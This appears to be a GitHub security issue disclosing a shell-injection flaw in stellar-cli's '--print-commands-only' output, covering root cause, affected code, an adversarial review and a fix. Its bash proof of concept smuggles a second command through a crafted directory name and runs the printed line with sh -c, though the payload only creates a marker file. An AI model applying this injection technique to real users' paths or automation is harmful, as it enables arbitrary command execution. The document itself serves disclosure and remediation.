Skip to content

Printed Build Commands Allow Manifest Path Shell Injection #2490

@fnando

Description

@fnando

003: Printed Build Commands Allow Manifest Path Shell Injection

Date: 2026-04-17
Severity: Medium
Impact: command injection requiring user-controlled input
Subsystem: contract-lifecycle
Final review by: gpt-5.4, high

Summary

stellar contract build --print-commands-only prints a shell command string that escapes environment variable values but leaves command arguments unescaped. If the manifest path contains shell metacharacters such as ; and #, the printed output becomes a multi-command shell payload when copied into sh -c, eval, or similar automation.

Root Cause

Cmd::run() builds the real Cargo invocation safely with structured Command::arg() calls, but separately serializes that command into cmd_str for --print-commands-only. During serialization, environment variable values go through shell_escape::escape(), while cmd.get_args() are converted with raw to_string_lossy() and space-joined, so filesystem-controlled manifest paths are emitted without shell quoting.

Reproduction

During normal use, operators can point --manifest-path at any contract Cargo.toml, including one inside a cloned or extracted directory whose name contains shell metacharacters. The CLI prints that manifest path directly into the reproduction command, and any downstream workflow that executes the printed line as shell input will run attacker-controlled command fragments.

Affected Code

  • stellar-cli/cmd/soroban-cli/src/commands/contract/build.rs:Cmd::run:244-255 — builds --manifest-path=... from a filesystem path
  • stellar-cli/cmd/soroban-cli/src/commands/contract/build.rs:Cmd::run:286-303 — escapes env values but serializes command arguments without shell escaping before printing

PoC

  • Target test file: stellar-cli/poc/print-commands-manifest-injection
  • Test name: print-commands-manifest-injection
  • Test language: bash
  • How to run:
    1. Run cargo build from the repo root.
    2. Copy the script below to poc/print-commands-manifest-injection.
    3. Run: bash poc/print-commands-manifest-injection

Test Body

#!/usr/bin/env bash
set -euo pipefail

ROOT="$(cd "$(dirname "$0")/.." && pwd)"
STELLAR="$ROOT/target/debug/stellar"
WORKDIR="$(mktemp -d)"
trap 'rm -rf "$WORKDIR"' EXIT

PAYLOAD_MARKER="PWNED_MARKER"
MALICIOUS_DIR="$WORKDIR/contract;touch ${PAYLOAD_MARKER};#"
mkdir -p "$MALICIOUS_DIR/src"

cat > "$MALICIOUS_DIR/Cargo.toml" <<'TOML'
[package]
name = "poc-contract"
version = "0.0.1"
edition = "2021"

[lib]
crate-type = ["cdylib"]
TOML

cat > "$MALICIOUS_DIR/src/lib.rs" <<'RUST'
#![no_std]
RUST

OUTPUT="$("$STELLAR" contract build \
    --manifest-path "$MALICIOUS_DIR/Cargo.toml" \
    --print-commands-only 2>&1)"

printf '%s\n' "$OUTPUT"

if ! printf '%s\n' "$OUTPUT" | grep -q -- '--manifest-path=.*;touch PWNED_MARKER;#'; then
    echo "missing unescaped payload in printed command" >&2
    exit 1
fi

(
    cd "$WORKDIR"
    sh -c "$OUTPUT"
)

if [[ ! -f "$WORKDIR/$PAYLOAD_MARKER" ]]; then
    echo "payload did not execute" >&2
    exit 1
fi

echo "POC_PASS"

Expected vs Actual Behavior

  • Expected: --print-commands-only should emit a shell-safe reproduction of the build invocation, with manifest paths quoted or escaped so they remain a single argument when reused.
  • Actual: the printed output includes raw manifest-path bytes, so shell metacharacters in the path split the printed command and execute attacker-controlled shell fragments.

Adversarial Review

  1. Exercises claimed bug: YES — the PoC drives the real stellar contract build --print-commands-only path and demonstrates both the unescaped --manifest-path output and subsequent shell execution.
  2. Realistic preconditions: YES — --manifest-path is a public CLI option, and project paths can come from cloned repositories, extracted archives, or workspace names chosen by another party.
  3. Bug vs by-design: BUG — the feature is documented as printing the commands that will be executed, and the implementation already shell-escapes env values, showing it intends to emit shell-reusable output.
  4. Final severity: Medium — exploitation requires user-controlled input plus a downstream shell evaluation step, but the impact is concrete command execution in common automation patterns.
  5. In scope: YES — this is a reproducible command-injection issue on a supported CLI path, not a purely theoretical misuse.
  6. Test correctness: CORRECT — the PoC first verifies the exact unescaped payload appears in the printed command, then proves shell execution by creating a marker file via sh -c.
  7. Alternative explanations: NONE
  8. Novelty: NOVEL

Suggested Fix

Apply shell_escape::escape() (or equivalent shell quoting) to every serialized command argument in cmd_str, not just environment variable values. If the output is not intended to be shell-safe, change the help text and output format so users cannot mistake it for a reusable shell command.

Metadata

Metadata

Assignees

No one assigned

    Labels

    No labels
    No labels

    Type

    No type

    Projects

    Status

    Backlog (Not Ready)

    Milestone

    No milestone

    Relationships

    None yet

    Development

    No branches or pull requests

    Issue actions